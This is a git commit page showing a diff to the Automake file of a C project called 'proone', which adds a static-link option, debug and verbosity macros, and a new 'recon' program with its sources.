diff options
author | David Timber <mieabby@gmail.com> | 2020-09-14 15:47:30 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-14 15:47:30 +0930 |
commit | f7f7332afafd4f965c5ef1d45cc1c7da9275c6ef (patch) | |
tree | 53b8e96d2d070215f0c6ee133cdba58ca93a4138 /src/Makefile.am | |
parent | c4160ed41717260b5941e2729c444b8ec051d5f0 (diff) |
* Add "--enable-static" configure option
* Change "PRNE_DEBUG" macro use
* Add "PRNE_VERBOSE"
* Impl "recon"
* Add "inet.h" for Internet Protocol stuff
* Changes regarding "PRNE_RND_WELL512_SEEDLEN"
* Add prne_own_realloc() for objects with multiple array memebers
* Add prne_add_timespec()
Diffstat (limited to 'src/Makefile.am')
-rw-r--r-- | src/Makefile.am | 40 |
1 files changed, 30 insertions, 10 deletions
diff --git a/src/Makefile.am b/src/Makefile.am index ce079d4..f2e68d6 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -1,11 +1,30 @@ BIN_ALIGNMENT = 8 -AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_POSIX_C_SOURCE=200112L -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) -fdata-sections -ffunction-sections -Wl,--gc-sections +AM_CFLAGS =\ + -std=c11\ + -pedantic\ + -Wall\ + -Wextra\ + -Wno-switch\ + -D_POSIX_C_SOURCE=200112L\ + -Wno-unused-parameter\ + -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT)\ + -fdata-sections\ + -ffunction-sections\ + -Wl,--gc-sections\ + -DPRNE_VERBOSE=$(PRNE_VERBOSE) + +AM_LDFLAGS = + if DEBUG -AM_CFLAGS += -g -O0 -DPRNE_DEBUG +AM_CFLAGS += -g -O0 -DPRNE_DEBUG=1 else -AM_CFLAGS += -g -Os +AM_CFLAGS += -g -Os -DPRNE_DEBUG=0 +endif +if STATIC_RT +AM_LDFLAGS += -static endif + # Override AM's default to remove "-I." flag DEFAULT_INCLUDES = @@ -22,7 +41,8 @@ bin_PROGRAMS =\ proone-stress\ proone-ipaddr-arr\ proone-htbthost\ - proone-rnd + proone-rnd\ + proone-recon proone_tests =\ proone-test_proto\ @@ -44,7 +64,9 @@ libproone_a_SOURCES =\ htbt.c\ iobuf.c\ rnd.c\ - rnd_well512.c + rnd_well512.c\ + recon.c\ + inet.c proone: proone.bin dvault.bin cp -fa proone.bin proone @@ -54,8 +76,6 @@ proone: proone.bin dvault.bin ./build-utils.sh append-uint32 0 proone cat dvault.bin >> proone -proone_bin_CFLAGS = $(AM_CFLAGS) -fwhole-program -proone_bin_LDFLAGS = -static proone_bin_LDADD = libproone.a proone_bin_SOURCES =\ proone.c @@ -81,18 +101,18 @@ proone_htbthost_SOURCES = proone-htbthost.c proone_ipaddr_arr_SOURCES = proone-ipaddr-arr.c proone_stress_LDADD = libproone.a -proone_stress_LDFLAGS = -static proone_stress_SOURCES = proone-stress.c proone_rnd_LDADD = libproone.a proone_rnd_SOURCES = proone-rnd.c +proone_recon_LDADD = libproone.a +proone_recon_SOURCES = proone-recon.c + proone_test_proto_LDADD = libproone.a -proone_test_proto_LDFLAGS = proone_test_proto_SOURCES = proone-test_proto.c proone_test_util_LDADD = libproone.a -proone_test_util_LDFLAGS = proone_test_util_SOURCES = proone-test_util.c testlist: $(proone_tests) |